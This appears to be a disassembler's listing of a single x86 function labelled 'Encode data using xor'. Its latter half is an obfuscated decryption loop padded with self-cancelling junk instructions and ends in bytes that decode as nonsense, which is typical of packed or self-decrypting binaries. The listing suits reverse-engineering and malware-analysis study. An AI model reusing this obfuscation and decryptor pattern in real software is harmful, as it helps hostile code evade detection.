Function at 0x2013ff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x133f
sub esp, 0x70
push fcn.002013ff
xor esi, esi
mov ecx, 0x23
push esi
dec ecx
jne 0x201419
call fcn.002025ce
call fcn.0020228b
push 0
push 0
mov eax, 2
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 1
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 0x80000002
push eax
call fcn.00201087
mov ebx, eax
pop eax
call fcn.00204702
pop eax
call fcn.00204702
mov eax, ebx
call fcn.00205218
lea ebx, [ebp - 0x9c]
call fcn.00205183
push 0
push 0
mov eax, 3
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 1
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 0x80000002
push eax
call fcn.00201087
mov ebx, eax
pop eax
call fcn.00204702
pop eax
call fcn.00204702
mov eax, ebx
call fcn.00205218
lea ebx, [ebp - 0xa0]
call fcn.00205183
push 0
push 0
mov eax, 4
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 1
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 0x80000002
push eax
call fcn.00201087
mov ebx, eax
pop eax
call fcn.00204702
pop eax
call fcn.00204702
mov eax, ebx
call fcn.00205218
lea ebx, [ebp - 0xa4]
call fcn.00205183
push 0
push 0
mov eax, 5
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 1
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 0x80000002
push eax
call fcn.002011c3
mov ebx, eax
pop eax
call fcn.00204702
pop eax
call fcn.00204702
mov eax, ebx
mov dword [ebp - 0xa8], eax
push 0
push 0
mov eax, 6
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 1
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 0x80000002
push eax
call fcn.002011c3
mov ebx, eax
pop eax
call fcn.00204702
pop eax
call fcn.00204702
mov eax, ebx
mov dword [ebp - 0xac], eax
push 0
push 0
mov eax, 7
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 1
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
mov ecx, 1
mov eax, 0x1b
call fcn.00204123
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 0x80000002
push eax
call fcn.00201087
mov ebx, eax
pop eax
call fcn.00204702
pop eax
call fcn.00204702
mov eax, ebx
call fcn.00205218
lea ebx, [ebp - 0xb0]
call fcn.00205183
push 0
push 0
mov eax, 0xa
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 9
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 0x80000002
push eax
call fcn.00201087
mov ebx, eax
pop eax
call fcn.00204702
pop eax
call fcn.00204702
mov eax, ebx
call fcn.00205218
mov eax, 1
call fcn.002049b3
call fcn.00204ab3
mov dword [ebp - 0xb8], eax
fild dword [0x2070b0]
mov eax, dword [ebp - 0xb8]
call fcn.00204a8c
fcompp
fnstsw ax
sahf
je 0x20188f
fild dword [0x2070e4]
mov eax, dword [ebp - 0xb8]
call fcn.00204a8c
fcompp
fnstsw ax
sahf
jbe 0x201899
mov dword [ebp - 0xb8], 1
mov eax, 8
mov edx, dword [ebp - 0xb0]
call fcn.0020516c
mov dword [ebp - 0x30], eax
call fcn.00205138
cmp eax, dword [ebp - 0x30]
jge 0x201962
push 0
push 0
mov eax, 0xc
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 0xb
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
mov ecx, 1
mov eax, 0x20
call fcn.00204123
push 0
xor eax, eax
call fcn.002034f7
call fcn.002034a8
call fcn.002055e8
lea ebx, [esp + 4]
call fcn.00204b41
mov eax, 0x80000002
push eax
call fcn.00201087
mov ebx, eax
pop eax
call fcn.00204702
pop eax
call fcn.00204702
mov eax, ebx
call fcn.00205218
lea ebx, [ebp - 0xb0]
call fcn.00205183
push 0
push 0
mov eax, 0xd
sub eax, dword [0x206a68]
mov ebx, dword [0x206a50]
mov edx, dword [ebx + eax*4]
call fcn.0020516c
push 0x20
add byte [ebx - 0x12177cec], cl
aaa
add byte [eax], al
push 0
neg eax
call fcn.00202f60
xor esi, 0xa39e7f5
mov ecx, esp
call fcn.00204892
and esi, edi
ror ecx, 9
test eax, esp
jo 0x201974
call fcn.00203703
shl edx, 0xa
xor eax, eax
mov ebx, edx
inc edi
or eax, eax
or esi, dword [0x20676c]
test eax, 0xe9ed500
jo 0x2019fa
dec edx
mov edi, eax
or esi, edi
rol eax, 0x1a
mov edx, esp
or esi, edi
xchg esi, edx
rol edi, 0x12
call fcn.002043f8
rol edx, 2
or esi, edi
and esi, edi
or eax, 0x24ae3c3
mov ecx, 0xdb06d6e
shr eax, 0x16
mov dword [0x2067e2], ecx
mov esi, dword [0x2063d8]
rol eax, 0x14
ror edx, 6
shr esi, 6
push es
dec esi
xor dword [0x2061bc], 0x2bc2daca
inc eax
not esi
loop 0x2019e3
xor dword [0x20677b], 0x32b467a
mov ecx, 0xfdd7d58
or dword [0x206436], ecx
neg esi
inc esi
dec edx
inc ebx
shl edx, 0x16
shr eax, 0xd
rol eax, 1
mov dword [0x206370], edi
rol esi, 0x10
call fcn.00205296
shr esi, 2
loop 0x201a1a
ror esi, 0x11
call fcn.00201071
test edx, ecx
jo 0x201a09
add eax, eax
mov ecx, 0x1591b1e
shr eax, 2
shl eax, 0x15
call fcn.002043f8
shr eax, 0xd
xchg esi, edx
inc eax
sub dword [0x2064c0], 0x8bf58df
rol esi, 4
neg edx
or cl, al
mov byte [edi + esi*8], 0xda
sub dword [str.Cache_Line_Size_______:], edi
loop 0x201a54
sub esi, eax
xchg eax, eax
test esp, esi
jo 0x201a8d
xor esi, eax
and esi, edi
test eax, ebp
jo 0x201a6e
mov esi, eax
dec edx
not esi
mov ecx, eax
not eax
add ebx, edi
mov esi, eax
sub ebx, esp
sub ecx, edi
xor esi, esi
xor esi, eax
and esi, edi
mov edi, dword [0x2064ec]
mov edx, 0x350
mov dword [0x2074ca], 0x2d90367e
xor esi, 0x20fcd8
xor dword [0x20762d], esi
inc esi
sub ebx, dword [0x2078e4]
xor edx, dword [0x207c89]
rol esi, 0x10
mov dword [0x20717e], 0x80bf78e
sub ecx, dword [0x2078dc]
xor edi, esi
xor esi, 0x582d80
ror esi, 0xb
not eax
not eax
rol esi, 0xb
xor esi, 0x582d80
xor edi, esi
sub dword [0x20759a], 0xbee0b83
ror esi, 0x10
dec esi
mov dword [0x207250], ecx
xor esi, 0x20fcd8
mov dword [0x2077f8], 0x2043930
call 0x201b27
ror eax, 0xa
neg eax
sub dword [0x207280], edx
inc edx
ror ecx, 0x12
neg eax
xor edx, 0x1056cdef
rol eax, 0xc
xor esi, eax
rol edx, 1
sub esi, eax
ror eax, 0xa
and dword [0x20784a], edx
xor ecx, dword [0x207b1b]
and dword [0x207694], esi
sub edi, esp
ror ecx, 0x19
sub esi, eax
add esi, eax
rol ecx, 0x19
add edi, esp
or dword [0x20779f], ecx
rol eax, 0xa
add esi, eax
ror edx, 1
xor esi, eax
ror eax, 0xc
xor edx, 0x1056cdef
neg eax
rol ecx, 0x12
dec edx
mov dword [0x20758d], esi
neg eax
rol eax, 0xa
pop ebx
xor edx, eax
xor dword [0x207719], esi
add esi, eax
xor ecx, edx
xchg eax, esi
xor ecx, dword [0x207b26]
xor esi, eax
add dword [0x2073cc], ecx
xor eax, edx
xor edi, dword [0x2078ba]
xor eax, edx
sub dword [0x2075ae], edx
xor esi, eax
xchg eax, esi
xor ecx, edx
sub esi, eax
xor edx, eax
add ebx, 0x3ed
invalid
neg esi
rol esi, 1
xor ecx, dword [0x207f38]
xor esi, 0x270ba267
rol esi, 8
sub ebx, dword [0x207f5c]
xor edx, esi
dec esi
ror esi, 0x1b
not esi
not esi
rol esi, 0x1b
inc esi
xor edx, esi
ror esi, 8
xor esi, 0x270ba267
ror esi, 1
neg esi
not dword [ebx]
dec esi
xor eax, 0xbb50606
xchg ebx, eax
add dword [0x2072e4], 0x214a3e06
not eax
dec edi
xor ecx, 0x3efa4f
and dword [0x2072e4], 0x29b4978e
xor esi, ebp
xor esi, eax
xor esi, eax
xor esi, ebp
xor ecx, 0x3efa4f
inc edi
not eax
xor dword [0x207504], 0xc463cd0
xchg ebx, eax
xor eax, 0xbb50606
inc esi
sub dword [ebx], 0xae2371e8
neg eax
rol esi, 0x14
xor edx, esp
xor esi, eax
mov dword [0x207825], ecx
xor esi, ecx
xor edx, dword [0x2078c0]
add ebx, esi
xor ecx, esi
or dword [0x20736a], 0x74885d4
mov dword [0x207377], ecx
dec eax
add esi, 0x3624062
sub esi, eax
xor esi, eax
rol eax, 0x16
xor esi, eax
xchg eax, eax
xor esi, ecx
dec ecx
xor edi, edx
xor edi, edx
inc ecx
xor esi, ecx
xchg eax, eax
xor esi, eax
ror eax, 0x16
xor esi, eax
add esi, eax
sub esi, 0x3624062
inc eax
mov dword [0x2075df], esi
mov dword [0x207174], 0x14d056fa
xor ecx, esi
sub ebx, esi
xor esi, ecx
sub dword [0x2075da], ebx
xor esi, eax
xor edx, esp
ror esi, 0x14
neg eax
sub dword [ebx], 0xae2371e8
add esi, eax
not esi
sub edi, esp
add ecx, 0xcb37597
xor ecx, dword [0x207c3f]
xor edx, eax
inc esi
sub edx, dword [0x207927]
xchg eax, esi
mov dword [0x207778], ecx
not eax
xchg esi, eax
sub ebx, dword [0x20794e]
add eax, 0x24164094
ror esi, 0x1c
add eax, esi
not esi
xchg edi, eax
sub edi, dword [0x207aef]
add esi, eax
ror esi, 0x12
rol esi, 0x12
sub esi, eax
xchg edi, eax
not esi
sub eax, esi
rol esi, 0x1c
sub eax, 0x24164094
xchg esi, eax
not eax
mov dword [0x207349], esi
xchg eax, esi
dec esi
xor edx, eax
sub ecx, 0xcb37597
add edi, esp
not esi
sub esi, eax
xor dword [ebx], 0xae2371e8
xor esi, eax
sub edx, edi
sub ebx, dword [0x207b90]
dec esi
or dword [0x2071f4], esi
sub edi, dword [0x207b48]
xchg eax, edx
xor edi, dword [0x2078b1]
inc ebx
mov dword [0x2071d9], 0xfbcfb88
ror ebx, 0x16
sub ebx, eax
mov dword [0x2077df], 0x53fb32
inc ecx
add esi, eax
or dword [0x20767a], 0xba1443c
add edx, dword [0x20797f]
neg eax
xor ecx, ebp
sub edx, dword [0x207a40]
ror esi, 3
xor ebx, esi
xor ebx, esi
rol esi, 3
xor ecx, ebp
neg eax
xor dword [0x207350], 0x1474dd0
sub esi, eax
dec ecx
or dword [0x20761c], 0x8a45300
add ebx, eax
rol ebx, 0x16
mov dword [0x207414], 0x247a200
dec ebx
xchg eax, edx
sub dword [0x207750], ecx
inc esi
add edx, edi
xor esi, eax
add dword [ebx], 0xae2371e8
xchg esi, eax
sub ecx, dword [0x207a5a]
add ecx, dword [0x207b8a]
not edi
rol edi, 0x11
not eax
sub esi, eax
xor edx, dword [0x207ecc]
add ecx, ebp
rol esi, 8
xor ebx, 0x288fcdf6
xchg esi, eax
ror ebx, 0x1f
neg eax
sub esi, dword [0x207c50]
rol esi, 0x1a
xor dword [0x2074eb], 0x455614e
xchg esi, eax
mov dword [0x2075a4], ecx
xor edx, 0x4ccee40
mov dword [0x207552], 0x30ff20
sub esi, 0x5f801a
add esi, 0x5f801a
or dword [0x20785c], 0x1ce46036
xor edx, 0x4ccee40
xchg esi, eax
ror esi, 0x1a
neg eax
rol ebx, 0x1f
xchg esi, eax
xor ebx, 0x288fcdf6
ror esi, 8
sub ecx, ebp
add esi, eax
not eax
ror edi, 0x11
not edi
xchg esi, eax
add ebx, 4
xor ecx, esp
mov dword [0x2072b4], ecx
sub ecx, esi
xor edx, esi
sub dword [0x2076d4], 0x105fa48
inc edx
neg edi
sub edx, edi
sub ecx, dword [0x207be4]
ror esi, 0x11
xor ecx, dword [0x207d62]
or dword [0x2075a0], 0x157340a
sub ecx, dword [0x207be5]
xor edi, dword [0x207ede]
xor edi, edx
xchg esi, edx
xor ecx, dword [0x207c80]
xchg esi, edx
xor edi, edx
mov dword [0x2076ae], 0xf7de44c
rol esi, 0x11
add edx, edi
neg edi
dec edx
mov dword [0x207180], 0xfccd78
xor edx, esi
add ecx, esi
add dword [0x207470], edi
xor ecx, esp
sub edx, 4
jne 0x201bd2
xor edx, dword [0x1c3fa774]
cdq
sbb cl, byte cs:[esi + 0x2b]
mov esp, esp
mov cl, byte [ecx + 0x7430ad30]
cdq
imul esi, dword [ebx - 0x189f30b4], 0xffffffb4
int 0x8e
pop ds
mov esp, edi
add esp, dword [ecx - 0x66]
inc ebx
cmp eax, 0x20e6d950
xor bh, byte [edx - 0x52f2e214]
pushfd
in al, 0x8a
jmp 0xba809c7b